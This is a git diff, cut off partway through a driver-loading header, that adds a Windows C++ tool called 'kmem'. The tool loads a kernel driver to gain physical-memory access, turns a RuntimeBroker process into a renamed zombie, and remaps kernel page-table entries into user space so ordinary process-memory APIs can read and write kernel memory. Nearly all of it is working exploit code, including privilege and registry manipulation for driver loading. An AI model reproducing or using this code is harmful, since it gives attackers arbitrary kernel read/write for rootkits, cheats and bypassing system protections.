diff --git a/img/kmem-icon.png b/img/kmem-icon.png new file mode 100644 index 0000000..9ca450b Binary files /dev/null and b/img/kmem-icon.png differ diff --git a/kmem.sln b/kmem.sln new file mode 100644 index 0000000..e5d2cd6 --- /dev/null +++ b/kmem.sln @@ -0,0 +1,22 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.30503.244 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "kmem", "kmem\kmem.vcxproj", "{ED392663-3AF3-40DE-8AC7-2F373B3E9B45}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Release|x64 = Release|x64 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {ED392663-3AF3-40DE-8AC7-2F373B3E9B45}.Release|x64.ActiveCfg = Release|x64 + {ED392663-3AF3-40DE-8AC7-2F373B3E9B45}.Release|x64.Build.0 = Release|x64 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {31E8D06F-582D-4DDC-88A4-8FE8CBEC5EDF} + EndGlobalSection +EndGlobal diff --git a/kmem/icon.rc b/kmem/icon.rc new file mode 100644 index 0000000..5856874 --- /dev/null +++ b/kmem/icon.rc @@ -0,0 +1,3 @@ +// Icon Resource Definition +#define MAIN_ICON 102 +MAIN_ICON ICON "small.ico" \ No newline at end of file diff --git a/kmem/kmem.vcxproj b/kmem/kmem.vcxproj new file mode 100644 index 0000000..2c80fe3 --- /dev/null +++ b/kmem/kmem.vcxproj @@ -0,0 +1,107 @@ + + + + + Debug + x64 + + + Release + x64 + + + + 16.0 + Win32Proj + {ed392663-3af3-40de-8ac7-2f373b3e9b45} + nasainjector + 10.0 + kmem + + + + Application + true + v142 + MultiByte + + + Application + false + v142 + true + MultiByte + + + + + + + + + + + + + + + true + + + false + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS + true + stdcpp17 + Custom + + + Console + true + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS + true + stdcpp17 + Custom + + + Console + true + true + true + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/kmem/kmem.vcxproj.filters b/kmem/kmem.vcxproj.filters new file mode 100644 index 0000000..a144f80 --- /dev/null +++ b/kmem/kmem.vcxproj.filters @@ -0,0 +1,64 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {b197b9bf-8ab7-40c3-89e0-ad2ac4a211ab} + + + {565c24cf-6d76-4715-9d8c-f35b17ee0ec6} + + + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + + + Header Files\vdm + + + Header Files\vdm + + + Header Files + + + Header Files\util + + + Header Files\util + + + Header Files\util + + + Header Files + + + Header Files + + + + + Header Files + + + \ No newline at end of file diff --git a/kmem/kmem.vcxproj.user b/kmem/kmem.vcxproj.user new file mode 100644 index 0000000..8b11d36 --- /dev/null +++ b/kmem/kmem.vcxproj.user @@ -0,0 +1,11 @@ + + + + --pid 12116 + WindowsLocalDebugger + + + --pid 69 + WindowsLocalDebugger + + \ No newline at end of file diff --git a/kmem/kmem_ctx/kmem_ctx.cpp b/kmem/kmem_ctx/kmem_ctx.cpp new file mode 100644 index 0000000..c3a3c3b --- /dev/null +++ b/kmem/kmem_ctx/kmem_ctx.cpp @@ -0,0 +1,120 @@ +#include "kmem_ctx.hpp" + +namespace nasa +{ + kmem_ctx::kmem_ctx(vdm::vdm_ctx* vdm) + : vdm(vdm) + { + const auto runtime_broker_pid = + util::start_runtime_broker(); + + zombie(runtime_broker_pid); + const auto runtime_broker_peproc = + vdm->get_peprocess(runtime_broker_pid); + + set_process_name(runtime_broker_peproc, L"/proc/kmem"); + mem_ctx runtime_ctx(*vdm, runtime_broker_pid); + + const auto pml4 = + reinterpret_cast( + runtime_ctx.set_page( + runtime_ctx.get_dirbase())); + + // shoot the legs off the table, make it to do a back flip... + // (aka put kernel pml4e's into usermode/below MmHighestUserAddress so NtReadVirtualMemory + // and NtWriteVirtualMemory/all winapis will work)... + memcpy(pml4, pml4 + 255, 256 * sizeof pml4e); + } + + auto kmem_ctx::translate(std::uintptr_t kva) -> std::uintptr_t + { + virt_addr_t old_addr{ reinterpret_cast(kva) }; + virt_addr_t new_addr{ NULL }; + new_addr.pml4_index = old_addr.pml4_index - 255; + new_addr.pdpt_index = old_addr.pdpt_index; + new_addr.pd_index = old_addr.pd_index; + new_addr.pt_index = old_addr.pt_index; + return reinterpret_cast(new_addr.value); + } + + auto kmem_ctx::get_handle()->HANDLE + { + return OpenProcess(PROCESS_ALL_ACCESS, FALSE, util::get_pid("/proc/kmem")); + } + + void kmem_ctx::zombie(std::uint32_t pid) const + { + // zombie the the process by incrementing an exit counter + // then calling TerminateProcess so the process never closes... + const auto runtime_broker_peproc = + reinterpret_cast( + vdm->get_peprocess(pid)); + + static const auto inc_ref_counter = + util::get_kmodule_export( + "ntoskrnl.exe", + "PsAcquireProcessExitSynchronization" + ); + + const auto result = + vdm->syscall( + inc_ref_counter, runtime_broker_peproc); + + const auto handle = OpenProcess(PROCESS_TERMINATE, FALSE, pid); + TerminateProcess(handle, NULL); + CloseHandle(handle); + } + + bool kmem_ctx::set_process_name(PEPROCESS peproc, const wchar_t* new_name) + { + static const auto process_image_name = + reinterpret_cast( + util::get_kmodule_export( + "ntoskrnl.exe", "SeLocateProcessImageName")); + + if (!process_image_name) + return false; + + // SeLocateProcessImageName --> PsGetAllocatedFullProcessImageNameEx + // PAGE : 00000001406B1A50 SeLocateProcessImageName proc near + // PAGE : 00000001406B1A50 48 83 EC 28 sub rsp, 28h + // PAGE : 00000001406B1A54 E8 0B 00 00 00 call PsGetAllocatedFullProcessImageNameEx <====== + 5 + // PAGE : 00000001406B1A59 48 83 C4 28 add rsp, 28h + // PAGE : 00000001406B1A5D C3 retn + // PAGE : 00000001406B1A5D SeLocateProcessImageName endp + const auto get_process_name = + (process_image_name + 9 + vdm->rkm(process_image_name + 5)); // <====== + 5 + + // PAGE : 00000001406B1A64 48 83 EC 28 sub rsp, 28h + // PAGE : 00000001406B1A68 48 83 B9 10 07 00 00 00 cmp qword ptr[rcx + 710h], 0 + // PAGE : 00000001406B1A70 B8 25 02 00 C0 mov eax, 0C0000225h + // PAGE : 00000001406B1A75 0F 85 0B E9 10 00 jnz loc_1407C0386 + // PAGE : 00000001406B1A7B 48 83 B9 68 04 00 00 00 cmp qword ptr[rcx + 468h], 0 <===== + 26 + const auto process_name_idx = + vdm->rkm(get_process_name + 26); // <===== + 26 + + // _SE_AUDIT_PROCESS_CREATION_INFO SeAuditProcessCreationInfo + // _SE_AUDIT_PROCESS_CREATION_INFO --> POBJECT_NAME_INFORMATION == PUNICODE_STRING... + const auto unicode_string_ptr = + vdm->rkm( + reinterpret_cast(peproc) + process_name_idx); + + if (!unicode_string_ptr) + return false; + + auto process_unicode_str = + vdm->rkm(unicode_string_ptr); + + if (!process_unicode_str.Buffer) + return false; + + // set new name... + vdm->wkm((void*)process_unicode_str.Buffer, (void*)new_name, std::wcslen(new_name) * sizeof(wchar_t)); + + // set new unicode string info... + process_unicode_str.Length = std::wcslen(new_name) * sizeof(wchar_t); + process_unicode_str.MaximumLength = std::wcslen(new_name) * sizeof(wchar_t); + vdm->wkm(unicode_string_ptr, process_unicode_str); + return true; + } +} \ No newline at end of file diff --git a/kmem/kmem_ctx/kmem_ctx.hpp b/kmem/kmem_ctx/kmem_ctx.hpp new file mode 100644 index 0000000..c1bb4bf --- /dev/null +++ b/kmem/kmem_ctx/kmem_ctx.hpp @@ -0,0 +1,17 @@ +#pragma once +#include "../mem_ctx/mem_ctx.hpp" + +namespace nasa +{ + class kmem_ctx + { + public: + kmem_ctx(vdm::vdm_ctx* vdm); + static auto get_handle()->HANDLE; + static auto translate(std::uintptr_t kva)->std::uintptr_t; + private: + void zombie(std::uint32_t pid) const; + bool set_process_name(PEPROCESS peproc, const wchar_t* new_name); + vdm::vdm_ctx* vdm; + }; +} \ No newline at end of file diff --git a/kmem/main.cpp b/kmem/main.cpp new file mode 100644 index 0000000..d2c49a5 --- /dev/null +++ b/kmem/main.cpp @@ -0,0 +1,77 @@ +#include "kmem_ctx/kmem_ctx.hpp" + +int __cdecl main(int argc, char** argv) +{ + vdm::read_phys_t _read_phys = [&](void* addr, void* buffer, std::size_t size) -> bool + { + return vdm::read_phys(addr, buffer, size); + }; + + vdm::write_phys_t _write_phys = [&](void* addr, void* buffer, std::size_t size) -> bool + { + return vdm::write_phys(addr, buffer, size); + }; + + auto kmem_handle = nasa::kmem_ctx::get_handle(); + + // translation just subtracts pml4 index bit field by 255... + const auto ntoskrnl_base = util::get_kmodule_base("ntoskrnl.exe"); + const auto ntoskrnl_translated = nasa::kmem_ctx::translate(ntoskrnl_base); + + std::printf("[+] ntoskrnl base -> 0x%p\n", ntoskrnl_base); + std::printf("[+] ntoskrnl translated -> 0x%p\n", ntoskrnl_translated); + + if (kmem_handle == INVALID_HANDLE_VALUE) + { + const auto [drv_handle, drv_key] = vdm::load_drv(); + if (drv_handle == INVALID_HANDLE_VALUE) + { + std::printf("[!] invalid handle...\n"); + std::getchar(); + return -1; + } + + vdm::vdm_ctx vdm(_read_phys, _write_phys); + nasa::kmem_ctx kmem(&vdm); + + kmem_handle = kmem.get_handle(); + unsigned short mz = 0u; + std::size_t bytes_handled; + + // ReadProcessMemory kernel memory example... + auto result = + ReadProcessMemory( + kmem_handle, + reinterpret_cast(ntoskrnl_translated), + &mz, sizeof mz, + &bytes_handled + ); + + std::printf("[+] ReadProcessMemory Result -> %d, mz -> 0x%x\n", result, mz); + + if (!vdm::unload_drv(drv_handle, drv_key)) + { + std::printf("[!] unable to unload driver...\n"); + std::getchar(); + return -1; + } + } + else + { + unsigned short mz = 0u; + std::size_t bytes_handled; + + // ReadProcessMemory kernel memory example... + auto result = + ReadProcessMemory( + kmem_handle, + reinterpret_cast(ntoskrnl_translated), + &mz, sizeof mz, + &bytes_handled + ); + + std::printf("[+] ReadProcessMemory Result -> %d, mz -> 0x%x\n", result, mz); + } + std::printf("[+] press enter to exit...\n"); + std::getchar(); +} \ No newline at end of file diff --git a/kmem/mem_ctx/mem_ctx.cpp b/kmem/mem_ctx/mem_ctx.cpp new file mode 100644 index 0000000..27abee6 --- /dev/null +++ b/kmem/mem_ctx/mem_ctx.cpp @@ -0,0 +1,480 @@ +#include "mem_ctx.hpp" + +namespace nasa +{ + mem_ctx::mem_ctx(vdm::vdm_ctx& v_ctx, std::uint32_t pid) + : + v_ctx(&v_ctx), + pid(pid), + dirbase(get_dirbase(v_ctx, pid)) + { + // find an empty pml4e inside of current processes pml4... + const auto current_pml4 = + v_ctx.get_virtual(reinterpret_cast( + get_dirbase(v_ctx, GetCurrentProcessId()))); + + for (auto idx = 100u; idx > 0u; --idx) + if (!v_ctx.rkm(current_pml4 + (idx * sizeof pml4e)).value) + this->pml4e_index = idx; + + // allocate a pdpt + this->new_pdpt.second = + reinterpret_cast( + VirtualAlloc( + NULL, + PAGE_4KB, + MEM_COMMIT | MEM_RESERVE, + PAGE_READWRITE + )); + + PAGE_IN(this->new_pdpt.second, PAGE_4KB); + // get page table entries for new pdpt + pt_entries new_pdpt_entries; + hyperspace_entries(new_pdpt_entries, new_pdpt.second); + this->new_pdpt.first = reinterpret_cast(new_pdpt_entries.pt.second.pfn << 12); + + // make a new pml4e that points to our new pdpt. + new_pdpt_entries.pml4.second.pfn = new_pdpt_entries.pt.second.pfn; + + // set the pml4e to point to the new pdpt + set_pml4e(reinterpret_cast<::ppml4e>(get_dirbase()) + this->pml4e_index, new_pdpt_entries.pml4.second, true); + + // make a new pd + this->new_pd.second = + reinterpret_cast( + VirtualAlloc( + NULL, + PAGE_4KB, + MEM_COMMIT | MEM_RESERVE, + PAGE_READWRITE + )); + + PAGE_IN(this->new_pd.second, PAGE_4KB); + + // get paging table entries for pd + pt_entries new_pd_entries; + hyperspace_entries(new_pd_entries, this->new_pd.second); + this->new_pd.first = reinterpret_cast(new_pd_entries.pt.second.pfn << 12); + + // make a new pt + this->new_pt.second = + reinterpret_cast( + VirtualAlloc( + NULL, + PAGE_4KB, + MEM_COMMIT | MEM_RESERVE, + PAGE_READWRITE + )); + + PAGE_IN(this->new_pt.second, PAGE_4KB); + // get paging table entries for pt + pt_entries new_pt_entries; + hyperspace_entries(new_pt_entries, this->new_pt.second); + this->new_pt.first = reinterpret_cast(new_pt_entries.pt.second.pfn << 12); + } + + void* mem_ctx::set_page(void* addr) + { + // table entry change. + ++pte_index; + if (pte_index >= 511) + { + ++pde_index; + pte_index = 0; + } + + if (pde_index >= 511) + { + ++pdpte_index; + pde_index = 0; + } + + if (pdpte_index >= 511) + pdpte_index = 0; + + pdpte new_pdpte = { NULL }; + new_pdpte.present = true; + new_pdpte.rw = true; + new_pdpte.pfn = reinterpret_cast(new_pd.first) >> 12; + new_pdpte.user_supervisor = true; + new_pdpte.accessed = true; + + // set pdpte entry + *reinterpret_cast(new_pdpt.second + pdpte_index) = new_pdpte; + + pde new_pde = { NULL }; + new_pde.present = true; + new_pde.rw = true; + new_pde.pfn = reinterpret_cast(new_pt.first) >> 12; + new_pde.user_supervisor = true; + new_pde.accessed = true; + + // set pde entry + *reinterpret_cast(new_pd.second + pde_index) = new_pde; + + pte new_pte = { NULL }; + new_pte.present = true; + new_pte.rw = true; + new_pte.pfn = reinterpret_cast(addr) >> 12; + new_pte.user_supervisor = true; + new_pte.accessed = true; + + // set pte entry + *reinterpret_cast(new_pt.second + pte_index) = new_pte; + + // set page offset + this->page_offset = virt_addr_t{ addr }.offset; + return get_page(); + } + + void* mem_ctx::get_page() const + { + // builds a new address given the state of all table indexes + virt_addr_t new_addr; + new_addr.pml4_index = this->pml4e_index; + new_addr.pdpt_index = this->pdpte_index; + new_addr.pd_index = this->pde_index; + new_addr.pt_index = this->pte_index; + new_addr.offset = this->page_offset; + return new_addr.value; + } + + void* mem_ctx::get_dirbase(vdm::vdm_ctx& v_ctx, std::uint32_t pid) + { + const auto peproc = + reinterpret_cast(v_ctx.get_peprocess(pid)); + + const auto dirbase = + v_ctx.rkm(peproc + 0x28); + + return reinterpret_cast(dirbase.pfn << 12); + } + + bool mem_ctx::hyperspace_entries(pt_entries& entries, void* addr) + { + if (!addr || !dirbase) + return false; + + virt_addr_t virt_addr{ addr }; + entries.pml4.first = reinterpret_cast(dirbase) + virt_addr.pml4_index; + entries.pml4.second = v_ctx->rkm( + v_ctx->get_virtual(reinterpret_cast(entries.pml4.first))); + + if (!entries.pml4.second.value) + return false; + + entries.pdpt.first = reinterpret_cast(entries.pml4.second.pfn << 12) + virt_addr.pdpt_index; + entries.pdpt.second = v_ctx->rkm( + v_ctx->get_virtual(reinterpret_cast(entries.pdpt.first))); + + if (!entries.pdpt.second.value) + return false; + + entries.pd.first = reinterpret_cast(entries.pdpt.second.pfn << 12) + virt_addr.pd_index; + entries.pd.second = v_ctx->rkm( + v_ctx->get_virtual(reinterpret_cast(entries.pd.first))); + + // if its a 2mb page + if (entries.pd.second.large_page) + { + entries.pt.second.value = entries.pd.second.value; + entries.pt.first = reinterpret_cast(entries.pd.second.value); + return true; + } + + entries.pt.first = reinterpret_cast(entries.pd.second.pfn << 12) + virt_addr.pt_index; + entries.pt.second = v_ctx->rkm( + v_ctx->get_virtual(reinterpret_cast(entries.pt.first))); + + if (!entries.pt.second.value) + return false; + + return true; + } + + std::pair mem_ctx::get_pte(void* addr, bool use_hyperspace) + { + if (!dirbase || !addr) + return {}; + + pt_entries entries; + if ((use_hyperspace ? hyperspace_entries(entries, addr) : (bool)virt_to_phys(entries, addr))) + return { entries.pt.first, entries.pt.second }; + return {}; + } + + void mem_ctx::set_pte(void* addr, const ::pte& pte, bool use_hyperspace) + { + if (!dirbase || !addr) + return; + + if (use_hyperspace) + v_ctx->wkm(v_ctx->get_virtual(reinterpret_cast(addr)), pte); + else + write_phys(addr, pte); + } + + std::pair mem_ctx::get_pde(void* addr, bool use_hyperspace) + { + if (!dirbase || !addr) + return {}; + + pt_entries entries; + if ((use_hyperspace ? hyperspace_entries(entries, addr) : (bool)virt_to_phys(entries, addr))) + return { entries.pd.first, entries.pd.second }; + return {}; + } + + void mem_ctx::set_pde(void* addr, const ::pde& pde, bool use_hyperspace) + { + if (!this->dirbase || !addr) + return; + + if (use_hyperspace) + v_ctx->wkm(v_ctx->get_virtual(reinterpret_cast(addr)), pde); + else + write_phys(addr, pde); + } + + std::pair mem_ctx::get_pdpte(void* addr, bool use_hyperspace) + { + if (!dirbase || !addr) + return {}; + + pt_entries entries; + if ((use_hyperspace ? hyperspace_entries(entries, addr) : (bool)virt_to_phys(entries, addr))) + return { entries.pdpt.first, entries.pdpt.second }; + return {}; + } + + void mem_ctx::set_pdpte(void* addr, const ::pdpte& pdpte, bool use_hyperspace) + { + if (!this->dirbase || !addr) + return; + + if (use_hyperspace) + v_ctx->wkm(v_ctx->get_virtual(reinterpret_cast(addr)), pdpte); + else + write_phys(addr, pdpte); + } + + std::pair mem_ctx::get_pml4e(void* addr, bool use_hyperspace) + { + if (!this->dirbase || !addr) + return {}; + + pt_entries entries; + if ((use_hyperspace ? hyperspace_entries(entries, addr) : (bool)virt_to_phys(entries, addr))) + return { entries.pml4.first, entries.pml4.second }; + return {}; + } + + void mem_ctx::set_pml4e(void* addr, const ::pml4e& pml4e, bool use_hyperspace) + { + if (!this->dirbase || !addr) + return; + + if (use_hyperspace) + v_ctx->wkm(v_ctx->get_virtual(reinterpret_cast(addr)), pml4e); + else + write_phys(addr, pml4e); + } + + std::pair mem_ctx::read_virtual(void* buffer, void* addr, std::size_t size) + { + if (!buffer || !addr || !size || !dirbase) + return {}; + + virt_addr_t virt_addr{ addr }; + if (size <= PAGE_4KB - virt_addr.offset) + { + pt_entries entries; + read_phys + ( + buffer, + virt_to_phys(entries, addr), + size + ); + + return + { + reinterpret_cast(reinterpret_cast(buffer) + size), + reinterpret_cast(reinterpret_cast(addr) + size) + }; + } + else + { + // cut remainder + const auto [new_buffer_addr, new_addr] = read_virtual + ( + buffer, + addr, + PAGE_4KB - virt_addr.offset + ); + + // forward work load + return read_virtual + ( + new_buffer_addr, + new_addr, + size - (PAGE_4KB - virt_addr.offset) + ); + } + } + + std::pair mem_ctx::write_virtual(void* buffer, void* addr, std::size_t size) + { + if (!buffer || !addr || !size || !dirbase) + return {}; + + virt_addr_t virt_addr{ addr }; + if (size <= PAGE_4KB - virt_addr.offset) + { + pt_entries entries; + write_phys + ( + buffer, + virt_to_phys(entries, addr), + size + ); + + return + { + reinterpret_cast(reinterpret_cast(buffer) + size), + reinterpret_cast(reinterpret_cast(addr) + size) + }; + } + else + { + // cut remainder + const auto [new_buffer_addr, new_addr] = write_virtual + ( + buffer, + addr, + PAGE_4KB - virt_addr.offset + ); + + // forward work load + return write_virtual + ( + new_buffer_addr, + new_addr, + size - (PAGE_4KB - virt_addr.offset) + ); + } + } + + bool mem_ctx::read_phys(void* buffer, void* addr, std::size_t size) + { + if (!buffer || !addr || !size) + return false; + + const auto temp_page = set_page(addr); + __try + { + memcpy(buffer, temp_page, size); + } + __except (EXCEPTION_EXECUTE_HANDLER) + { + return false; + } + return true; + } + + bool mem_ctx::write_phys(void* buffer, void* addr, std::size_t size) + { + if (!buffer || !addr || !size) + return false; + + const auto temp_page = set_page(addr); + __try + { + memcpy(temp_page, buffer, size); + } + __except (EXCEPTION_EXECUTE_HANDLER) + { + return false; + } + return true; + } + + void* mem_ctx::virt_to_phys(pt_entries& entries, void* addr) + { + if (!addr || !this->dirbase) + return {}; + + const virt_addr_t virt_addr{ addr }; + + // traverse paging tables + auto pml4e = read_phys<::pml4e>( + reinterpret_cast(this->dirbase) + virt_addr.pml4_index); + + entries.pml4.first = reinterpret_cast(this->dirbase) + virt_addr.pml4_index; + entries.pml4.second = pml4e; + + if (!pml4e.value) + return NULL; + + auto pdpte = read_phys<::pdpte>( + reinterpret_cast(pml4e.pfn << 12) + virt_addr.pdpt_index); + + entries.pdpt.first = reinterpret_cast(pml4e.pfn << 12) + virt_addr.pdpt_index; + entries.pdpt.second = pdpte; + + if (!pdpte.value) + return NULL; + + auto pde = read_phys<::pde>( + reinterpret_cast(pdpte.pfn << 12) + virt_addr.pd_index); + + entries.pd.first = reinterpret_cast(pdpte.pfn << 12) + virt_addr.pd_index; + entries.pd.second = pde; + + if (!pde.value) + return NULL; + + auto pte = read_phys<::pte>( + reinterpret_cast(pde.pfn << 12) + virt_addr.pt_index); + + entries.pt.first = reinterpret_cast(pde.pfn << 12) + virt_addr.pt_index; + entries.pt.second = pte; + + if (!pte.value) + return NULL; + + return reinterpret_cast((pte.pfn << 12) + virt_addr.offset); + } + + unsigned mem_ctx::get_pid() const + { + return this->pid; + } + + void* mem_ctx::get_dirbase() const + { + return this->dirbase; + } + + pml4e mem_ctx::operator[](std::uint16_t pml4_idx) + { + return read_phys<::pml4e>(reinterpret_cast(this->dirbase) + pml4_idx); + } + + pdpte mem_ctx::operator[](const std::pair& entry_idx) + { + const auto pml4_entry = this->operator[](entry_idx.first); + return read_phys<::pdpte>(reinterpret_cast(pml4_entry.pfn << 12) + entry_idx.second); + } + + pde mem_ctx::operator[](const std::tuple& entry_idx) + { + const auto pdpt_entry = this->operator[]({ std::get<0>(entry_idx), std::get<1>(entry_idx) }); + return read_phys<::pde>(reinterpret_cast(pdpt_entry.pfn << 12) + std::get<2>(entry_idx)); + } + + pte mem_ctx::operator[](const std::tuple& entry_idx) + { + const auto pd_entry = this->operator[]({ std::get<0>(entry_idx), std::get<1>(entry_idx), std::get<2>(entry_idx) }); + return read_phys<::pte>(reinterpret_cast(pd_entry.pfn << 12) + std::get<3>(entry_idx)); + } +} \ No newline at end of file diff --git a/kmem/mem_ctx/mem_ctx.hpp b/kmem/mem_ctx/mem_ctx.hpp new file mode 100644 index 0000000..22a7ca2 --- /dev/null +++ b/kmem/mem_ctx/mem_ctx.hpp @@ -0,0 +1,86 @@ +#pragma once +#include "../util/nt.hpp" +#include "../vdm_ctx/vdm_ctx.hpp" + +namespace nasa +{ + class mem_ctx + { + friend class pclone_ctx; + public: + mem_ctx(vdm::vdm_ctx& v_ctx, std::uint32_t pid = GetCurrentProcessId()); + std::pair get_pte(void* addr, bool use_hyperspace = false); + void set_pte(void* addr, const ::pte& pte, bool use_hyperspace = false); + + std::pair get_pde(void* addr, bool use_hyperspace = false); + void set_pde(void* addr, const ::pde& pde, bool use_hyperspace = false); + + std::pair get_pdpte(void* addr, bool use_hyperspace = false); + void set_pdpte(void* addr, const ::pdpte& pdpte, bool use_hyperspace = false); + + std::pair get_pml4e(void* addr, bool use_hyperspace = false); + void set_pml4e(void* addr, const ::pml4e& pml4e, bool use_hyperspace = false); + + void* get_dirbase() const; + static void* get_dirbase(vdm::vdm_ctx& v_ctx, std::uint32_t pid); + + bool read_phys(void* buffer, void* addr, std::size_t size); + bool write_phys(void* buffer, void* addr, std::size_t size); + + template + T read_phys(void* addr) + { + T buffer; + read_phys((void*)&buffer, addr, sizeof(T)); + return buffer; + } + + template + void write_phys(void* addr, const T& data) + { + write_phys((void*)&data, addr, sizeof(T)); + } + + std::pair read_virtual(void* buffer, void* addr, std::size_t size); + std::pair write_virtual(void* buffer, void* addr, std::size_t size); + + template + __forceinline T read_virtual(void* addr) + { + T buffer; + read_virtual((void*)&buffer, addr, sizeof(T)); + return buffer; + } + + template + __forceinline void write_virtual(void* addr, const T& data) + { + write_virtual((void*)&data, addr, sizeof(T)); + } + + void* virt_to_phys(pt_entries& entries, void* addr); + void* set_page(void* addr); + void* get_page() const; + unsigned get_pid() const; + + pml4e operator[](std::uint16_t pml4_idx); + pdpte operator[](const std::pair& entry_idx); + pde operator[](const std::tuple& entry_idx); + pte operator[](const std::tuple& entry_idx); + private: + + bool hyperspace_entries(pt_entries& entries, void* addr); + void* dirbase; + vdm::vdm_ctx* v_ctx; + std::uint16_t pml4e_index, + pdpte_index, + pde_index, + pte_index, + page_offset; + + std::pair new_pdpt; + std::pair new_pd; + std::pair new_pt; + unsigned pid; + }; +} \ No newline at end of file diff --git a/kmem/small.ico b/kmem/small.ico new file mode 100644 index 0000000..77db41c Binary files /dev/null and b/kmem/small.ico differ diff --git a/kmem/util/loadup.hpp b/kmem/util/loadup.hpp new file mode 100644 index 0000000..9cafa3f --- /dev/null +++ b/kmem/util/loadup.hpp @@ -0,0 +1,247 @@ +/* + MIT License + + Copyright (c) 2020 xerox + + Permission is hereby granted, free of charge, to any person obtaining a copy + of this software and associated documentation files (the "Software"), to deal + in the Software without restriction, including without limitation the rights + to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + copies of the Software, and to permit persons to whom the Software is + furnished to do so, subject to the following conditions: + + The above copyright notice and this permission notice shall be included in all + copies or substantial portions of the Software. + + THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + SOFTWARE. +*/ + + +#pragma once +#include +#include +#include +#include +#include + +#pragma comment(lib, "ntdll.lib") +extern "C" NTSTATUS NtLoadDriver(PUNICODE_STRING); +extern "C" NTSTATUS NtUnloadDriver(PUNICODE_STRING); + +namespace driver +{ + namespace util + { + __forceinline auto delete_service_entry(const std::string& service_name) -> bool + { + HKEY reg_handle; + static const std::string reg_key("System\\CurrentControlSet\\Services\\"); + + auto result = RegOpenKeyA( + HKEY_LOCAL_MACHINE, + reg_key.c_str(), + ®_handle + ); + + return ERROR_SUCCESS == RegDeleteKeyA(reg_handle, service_name.data()) && + ERROR_SUCCESS == RegCloseKey(reg_handle);; + } + + __forceinline auto create_service_entry(const std::string& drv_path, const std::string& service_name) -> bool + { + HKEY reg_handle; + std::string reg_key("System\\CurrentControlSet\\Services\\"); + reg_key += service_name; + + auto result = RegCreateKeyA( + HKEY_LOCAL_MACHINE, + reg_key.c_str(), + ®_handle + ); + + if (result != ERROR_SUCCESS) + return false; + + std::uint8_t type_value = 1; + result = RegSetValueExA( + reg_handle, + "Type", + NULL, + REG_DWORD, + &type_value, + 4u + ); + + if (result != ERROR_SUCCESS) + return false; + + std::uint8_t error_control_value = 3; + result = RegSetValueExA( + reg_handle, + "ErrorControl", + NULL, + REG_DWORD, + &error_control_value, + 4u + ); + + if (result != ERROR_SUCCESS) + return false; + + std::uint8_t start_value = 3; + result = RegSetValueExA( + reg_handle, + "Start", + NULL, + REG_DWORD, + &start_value, + 4u + ); + + if (result != ERROR_SUCCESS) + return false; + + result = RegSetValueExA( + reg_handle, + "ImagePath", + NULL, + REG_SZ, + (std::uint8_t*) drv_path.c_str(), + drv_path.size() + ); + + if (result != ERROR_SUCCESS) + return false; + + return ERROR_SUCCESS == RegCloseKey(reg_handle); + } + + __forceinline auto enable_privilege(const std::wstring& privilege_name) -> bool + { + HANDLE token_handle = nullptr; + if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token_handle)) + return false; + + LUID luid{}; + if (!LookupPrivilegeValueW(nullptr, privilege_name.data(), &luid)) + return false; + + TOKEN_PRIVILEGES token_state{}; + token_state.PrivilegeCount = 1; + token_state.Privileges[0].Luid = luid; + token_state.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; + + if (!AdjustTokenPrivileges(token_handle, FALSE, &token_state, sizeof(TOKEN_PRIVILEGES), nullptr, nullptr)) + return false; + + CloseHandle(token_handle); + return true; + } + + __forceinline auto get_service_image_path(const std::string& service_name) -> std::string + { + HKEY reg_handle; + DWORD bytes_read; + char image_path[0xFF]; + static const std::string reg_key("System\\CurrentControlSet\\Services\\"); + + auto result = RegOpenKeyA( + HKEY_LOCAL_MACHINE, + reg_key.c_str(), + ®_handle + ); + + result = RegGetValueA( + reg_handle, + service_name.c_str(), + "ImagePath", + REG_SZ, + NULL, + image_path, + &bytes_read + ); + + RegCloseKey(reg_handle); + return std::string(image_path); + } + } + + __forceinline auto load(const std::string& drv_path, const std::string& service_name) -> bool + { + if (!util::enable_privilege(L"SeLoadDriverPrivilege")) + return false; + + if (!util::create_service_entry("\\??\\" + + std::filesystem::absolute(std::filesystem::path(drv_path)).string(), service_name)) + return false; + + std::string reg_path("\\Registry\\Machine\\System\\CurrentControlSet\\Services\\"); + reg_path += service_name; + + ANSI_STRING driver_rep_path_cstr; + UNICODE_STRING driver_reg_path_unicode; + + RtlInitAnsiString(&driver_rep_path_cstr, reg_path.c_str()); + RtlAnsiStringToUnicodeString(&driver_reg_path_unicode, &driver_rep_path_cstr, true); + return ERROR_SUCCESS == NtLoadDriver(&driver_reg_path_unicode); + } + + __forceinline auto load(const std::vector& drv_buffer) -> std::tuple + { + static const auto random_file_name = [](std::size_t length) -> std::string + { + static const auto randchar = []() -> char + { + const char charset[] = + "0123456789" + 